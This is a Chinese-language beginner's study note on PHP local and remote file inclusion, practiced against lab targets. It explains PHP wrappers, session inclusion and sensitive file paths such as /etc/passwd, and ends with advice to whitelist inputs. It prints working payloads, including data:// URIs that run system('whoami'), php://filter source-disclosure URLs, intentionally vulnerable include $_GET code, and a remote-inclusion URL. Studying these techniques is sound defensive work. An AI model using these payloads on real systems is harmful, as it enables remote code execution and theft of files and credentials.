任意文件包含漏洞学习笔记
前言
本文是初学web安全时写的,有许多地方不够严谨,逻辑上也存在问题,请见谅~
参考:https://blog.csdn.net/qq_41575340/article/details/91897245
什么是文件包含
1.文件包含漏洞概述
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
有时候由于网站功能需求,要包含的文件是一个变量,那么前端用户就可以进行选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()区别如下:
1 | require():找不到被包含的文件会产生致命错误,并停止脚本运行 |
例子:在小皮的根目录下放一个test.php里面写上
1 | include $_GET['test']; |
在根目录下放另外一个file.php
1 | phpinfo(); |
构造url,把file.php作为参数传入
1 | http://192.168.127.231/test.php?test=file.php |
文件包含成功

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
分类
1.本地文件包含漏洞(LFI)
仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击者更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
eg:pikachu靶场的fileinclusion
文件通过一个叫$filename的变量进行包含
但是路径限制在了include下,那么在include文件夹下创建一个test.txt文件、
1 | phpinfo(); |
构造urlhttp://192.168.127.231/pikachu/vul/fileinclude/fi_local.php?filename=test.txt&submit=提交查询
这样test.txt就被包含执行了
包含姿势
php伪协议
PHP伪协议是PHP自己支持的一种协议与封装协议,简单来说就是PHP定义的一种特殊访问资源的方法。
有些伪协议成功执行需要allow_url_fopen和allow_url_include的支持。
allow_url_fopen On/Off 允许或禁止打开URL文件
allow_url_include On/Off 允许或禁止引用URL文件php://input
php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行
当enctype=”multipart/form-data” 的时候 php://input 是无效的。
利用条件:
allow_url_include= On。- 对
allow_url_fopen不做要求。
php://filter
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
在利用上很多都是与包含函数结合使用,读入或者输出获取文件源码然后编码让其不执行从而输出
php://filter 的使用:
如
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
其他姿势:
1 | file.php?file=php://filter/convert.base64-encode/resource=index.php |
效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用。
php://filter 伪协议组成:
read=<读链的筛选列表>
resource=<要过滤的数据流>
write=<写链的筛选列表>
php://filter/read=处理方式(base64编码,rot13等等)/resource=要读取的文件
read 对应要设置的过滤器:
常见的过滤器分字符串过滤器、转换过滤器、压缩过滤器、加密过滤器
其中convert.base64-encode ,convert.base64-decode都属于 转换过滤器
phar://
利用条件:
php版本大于等于php5.3.0
假设有个文件phpinfo.php,其内容为,打包成zip压缩包phpinfo.zip
利用:
指定绝对路径:
1 | file.php?file=phar://D:/phpStudy/WWW/phpinfo.zip/phpinfo.php |
也可以使用相对路径:
1 | file.php?file=phar://phpinfo.zip/phpinfo.php |
zip://与bzip2://与zlib://协议
zip:// 等属于压缩流的协议,通过直接压缩普通文件为zip文件,再通过zip:// 协议读取,可以直接执行php代码。压缩后的zip文件可以随意修改后缀也不影响zip://协议读取。(注意是如phpinfo.txt直接压缩为zip,而不是文件夹压缩zip)
利用条件:
- php版本大于等于php5.3.0
姿势:
构造zip包的方法和phar相同。
但是使用zip伪协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件·。
格式示例:
1 |
|
压缩及协议访问格式:
压缩文件为.zip后缀
zip://绝对路径/phpinfo.zip%23phpinfo.php
压缩文件为.bz2后缀
compress.bzip2://绝对路径/phpinfo.zip/phpinfo.php
压缩文件为.gz后缀
compress.zlib://绝对路径/phpinfo.zip/phpinfo.php
data:URI schema
利用条件:
- php版本大于等于php5.2
allow_url_fopen= Onallow_url_include= On
姿势一:
1 | ?file=data:text/plain,<?php phpinfo();?> |
也可以执行命令:
1 | ?file=data:text/plain,<?php system('whoami');?> |
姿势二:
1 | ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b |
PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==的base64解码为:
1 | system('whoami'); |
包含session
利用条件:
1 | 1.session文件路径已知,且其中内容部分可控。 |
姿势:
php的session文件的保存路径可以在phpinfo的session.save_path看到。
常见的php-session存放位置:
1 | /var/lib/php/sess_PHPSESSID |
其中,session文件的格式是固定的:sess_phpsessid.而phpsessid在发送的请求的cookie字段中可以看到。
敏感文件位置
Linux:
1 | /etc/passwd // 账户信息 |
Win:
1 | c:\boot.ini // 查看系统版本 |
2.远程文件包含漏洞(RFI)
如果PHP的配置选项allow_url_include、allow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI)
能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
eg测试代码:
1 |
|
在远程服务器上的文件代码(test.txt)
1 |
|
payload:
http://127.0.0.1/file.php?file=http://192.168.1.103/test.txt




